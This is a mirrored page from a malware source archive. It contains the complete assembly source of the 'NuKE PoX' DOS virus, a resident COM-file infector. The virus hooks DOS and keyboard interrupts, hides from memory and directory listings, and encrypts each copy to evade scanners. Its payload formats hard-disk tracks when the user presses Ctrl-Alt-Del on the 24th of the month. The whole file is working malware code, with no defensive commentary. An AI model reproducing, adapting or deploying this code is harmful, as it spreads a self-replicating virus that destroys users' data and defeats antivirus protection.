mirror of
https://github.com/vxunderground/MalwareSourceCode
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347 lines
26 KiB
NASM
347 lines
26 KiB
NASM
;*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
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;-* (c) Rock Steady, Viral Developments -*
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;*- (c) NuKE Software Developement 1991, 1992 *-
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;-* Virus: NuKE PoX Version 1.0 (Alias `Mutating Rocko') -*
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;*- ~~~~~~ *-
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;-* Notes: COM Infector, Hooks Int 9h & Int 21h, Memory Stealthness -*
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;*- ~~~~~~ Dir Stealthness (FCB Way), Encrypting Virus (100 different *-
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;-* Encrypted Copies of the Virus) -*
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;*- Bytes: 609 Bytes Memory: (609 * 2) = 1,218 Bytes *-
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;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
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crypt_size equ crypt - init_virus ;All that gets Incrypted
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virus_size equ last - init_virus ;Size of the Virus
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mut1 equ 3
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mut2 equ 1
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mut3 equ 103h
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del_code equ 53h ;CTRL-ATL-DEL Key
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seg_a segment byte public
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assume cs:seg_a, ds:seg_a
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org 100h
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rocko proc far
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start: jmp init_virus ;+3 bytes
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;-*-*-*-*-*-*-*-*-[Start of Virus]*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
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init_virus: call decrypt ;Decryption Routine Please ;+3 Bytes
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call doit_now ;Doit VirusMan... ;+3 Bytes
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;========
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doit_now: pop bp ;Anything ABOVE THIS LINE 9 Bytes
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sub bp,109h ;have to be added to the 100h! This
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push ax ;SETs our `Delta Pointer'.
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push bx
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push cx
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push dx ;Save registers
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push si
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push di
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push bp
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push es
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push ds
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mov ax,0abcdh ;Are we resident Already?
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int 21h
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cmp bx,0abcdh ;Yupe... Quit Then...
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je exit_com
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push cs ;Get CS=DS
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pop ds
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mov cx,es
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mov ax,3509h ;Hook Int 9 Please...
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int 21h
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mov word ptr cs:[int9+2][bp],es ;Save Orignal Int 9h
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mov word ptr cs:[int9][bp],bx ;Save Orignal Int 9h
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mov ax,3521h ;Some AVs may INTCEPT this Call!
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int 21h ;May be better to go Manually...
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mov word ptr cs:[int21+2][bp],es ;Save the Int
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mov word ptr cs:[int21][bp],bx ;Vector Table
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dec cx ;Get a new Memory block
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mov es,cx ;Put it Back to ES
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mov bx,es:mut1
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mov dx,virus_size+virus_size ;Size to `Hide'
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mov cl,4 ;And all this crap hides
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shr dx,cl ;your number of bytes in DX
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add dx,4
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mov cx,es
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sub bx,dx
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inc cx
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mov es,cx
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mov ah,4ah ;Call int to do it...
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int 21h
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jc exit_com
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mov ah,48h
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dec dx
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mov bx,dx ;It's Done... Yeah!
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int 21h
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jc exit_com
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dec ax
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mov es,ax
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mov cx,8h ;Here we move our Virus into
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mov es:mut2,cx ;the `Hidden' memory!
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sub ax,0fh
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mov di,mut3
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mov es,ax
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mov si,bp
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add si,offset init_virus
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mov cx,virus_size
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cld
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repne movsb
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mov ax,2521h ;Restore Int21 with ours
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mov dx,offset int21_handler ;Where it starts
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push es
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pop ds
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int 21h
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mov ax,2509h ;Restore Int9 with ours
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mov dx,offset int9_handler ;The Handler...
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int 21h
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push cs
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pop ds
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exit_com:
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mov bx,offset buffer ; Its a COM file restore
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add bx,bp ; First three Bytes...
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mov ax,[bx] ; Mov the Byte to AX
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mov word ptr ds:[100h],ax ; First two bytes Restored
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add bx,2 ; Get the next Byte
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mov al,[bx] ; Move the Byte to AL
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mov byte ptr ds:[102h],al ; Restore the Last of 3 Byt
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pop ds
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pop es
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pop bp ; Restore Regesters
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pop di
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pop si
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pop dx
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pop cx
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pop bx
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pop ax
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mov ax,100h ; Jump Back to Beginning
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push ax ; Restores our IP (a CALL
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retn ; Saves them, now we change
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int21 dd ? ;Our Old Int21
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int9 dd ? ;Our Old Int9
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;-*-*-*-*-*-*-*-*[Int 9h Handler]-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
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int9_handler:
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push ax
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in al,60h ;Has the user attempted a
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cmp al,del_code ;CTRL-ALT-DEL
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je warm_reboot ;Yes! Screw him
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bye_bye: pop ax
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jmp dword ptr cs:[int9] ;Nope, Leave alone
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warm_reboot:
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mov ah,2ah ;Get Date Please
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int 21h
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cmp dl,18h ;Is it 24th of the Month?
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jne bye_bye ;Yes, bye_Bye HD
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mov ch,0
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hurt_me: mov ah,05h
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mov dh,0
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mov dl,80h ;Formats a few tracks...
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int 13h ;Hurts So good...
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inc ch
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cmp ch,20h
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loopne hurt_me
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db 0eah,0f0h,0ffh,0ffh,0ffh ;Reboot!
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iret
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;-*-*-*-*-*-*-*-*-[Dir Stealth Handler]-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
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dir_handler:
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pushf
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push cs
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call int21call ;Get file Stats
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test al,al ;Good FCB?
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jnz no_good ;nope
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push ax
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push bx
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push es
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mov ah,51h ;Is this Undocmented? huh...
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int 21h
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mov es,bx
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cmp bx,es:[16h]
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jnz not_infected ;Not for us man...
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mov bx,dx
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mov al,[bx]
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push ax
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mov ah,2fh ;Get file DTA
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int 21h
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pop ax
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inc al
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jnz fcb_okay
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add bx,7h
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fcb_okay: mov ax,es:[bx+17h]
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and ax,1fh ;UnMask Seconds Field
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xor al,1dh ;Is in 58 seconds?
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jnz not_infected ;Nope...
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and byte ptr es:[bx+17h],0e0h
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sub es:[bx+1dh],virus_size ;Yes minus virus size
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sbb es:[bx+1fh],ax
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not_infected:pop es
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pop bx
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pop ax
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no_good: iret
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;-*-*-*-*-*-*-*-*[Int 21h Handler]*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
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int21_handler:
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cmp ax,4b00h ;File executed
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je execute
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cmp ah,11h ;Dir handler
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je dir_handler
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cmp ah,12h ;Next file Dir handler
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je dir_handler
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cmp ax,0abcdh ;Virus testing
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jne int21call
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mov bx,0abcdh
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int21call:
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jmp dword ptr cs:[int21] ;Split...
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ret
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execute:
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push ax
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push bx
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push cx
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push dx
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push si
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push di
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push es
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push ds
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mov ax,4300h ;Get file Attribs
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int 21h
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jc exit
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test cl,1h ;Make sure there normal
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jz open_file ;Okay there are
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and cl,0feh ;Nope, Fix them...
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mov ax,4301h ;Save them now
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int 21h
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jc exit
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open_file: mov ax,3D02h
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int 21h ;Open File to Infect please
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jc exit ;Error Split
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mov bx,ax ;BX File handler
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mov ax,5700h ;Get file TIME + DATE
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int 21h
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mov al,cl
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or cl,1fh ;Un mask Seconds
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dec cx ;60 seconds
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dec cx ;58 seconds
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xor al,cl ;Is it 58 seconds?
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jz exit ;File already infected
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push cs
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pop ds
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mov word ptr ds:[old_time],cx ;Save Time
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mov word ptr ds:[old_date],dx ;Save Date
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mov ah,3Fh
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mov cx,3h
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mov dx,offset ds:[buffer] ;Read first 3 bytes
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int 21h
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jc exit_now ;Error Split
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mov ax,4202h ;Move file pointer to end
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xor cx,cx ;of file...
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xor dx,dx
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int 21h
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jc exit_now ;Error Split
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cmp word ptr cs:[buffer],5A4Dh ;Is file an EXE?
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je exit ;Yupe! Split
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mov cx,ax
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sub cx,3 ;Set the JMP
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mov word ptr cs:[jump_address+1],cx
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call infect_me ;Infect!
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jc exit_now ;error split
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mov ah,40h ;Write back the first 3
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mov dx,offset ds:[jump_address] ;bytes
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mov cx,3h
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int 21h
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exit_now:
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mov cx,word ptr cs:[old_time] ;Restore old time
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mov dx,word ptr cs:[old_date] ;Restore Old date
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mov ax,5701h
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int 21h
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mov ah,3Eh
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int 21h ;Close File now...
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exit:
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pop ds
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pop es
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pop di
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pop si
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pop dx
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pop cx
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pop bx
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pop ax
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jmp dword ptr cs:[int21] ;Jmp back to whatever
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rocko endp
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;-*-*-*-*-*-*-*-*-*[Infection Routine]*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
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infect_me proc near
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mov ah,2ch ;Get Time
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int 21h
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push dx ;Split seconds to AX
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pop ax
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mov byte ptr cs:[value],al ;AL = 0 to 99
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;New Encryption Value
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mov cx,virus_size
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push cs
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pop es ;Copy ANOTHER copy of the
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mov si,offset init_virus ;Virus to the end of us
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mov di,offset last
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repne movsb
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mov cx,crypt_size
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sub cx,3h ;Encrypt that 2nd copy!
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push bp
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mov bp,offset last + 3h
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call decrypt_encrypt
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pop bp
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mov ah,40h ;Write the New Encrypted
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mov dx,offset last ;Virus to File!
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mov cx,virus_size
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int 21h
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jc exit_error ;Error Split
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mov ax,4200h
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xor cx,cx ;Pointer back to beginning
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xor dx,dx ;file!
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int 21h
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jc exit_error ;Split Dude...
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clc ;Clear carry flag
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retn
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exit_error:
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stc ;Set carry flag
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retn
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infect_me endp
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old_time dw ?
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old_date dw ?
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jump_address db 0E9h,90h,90h
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buffer db 90h,0CDh,020h
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crypt:
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msgs db "(c) Rock Steady/NuKE" ;No other than `Moi'...
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;-*-*-*-*[Simple BUT EFFECTIVE Encryption/Decryption Routine]-*-*-*-*-*-*-
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decrypt proc near
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pop bp
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push bp
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mov al,byte ptr [value-106h][bp] ;Get new Encryption
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mov cx,crypt_size ;Value
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decrypt_encrypt:
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xor cs:[bp],al ;Fuck Scanners and put a
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;***************************************************************************
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not al
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inc bp ;`NOT AL' anywhere here...
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loop decrypt_encrypt
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retn
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value db 00h ;Encryption value!
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decrypt endp
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last:
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seg_a ends
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end start
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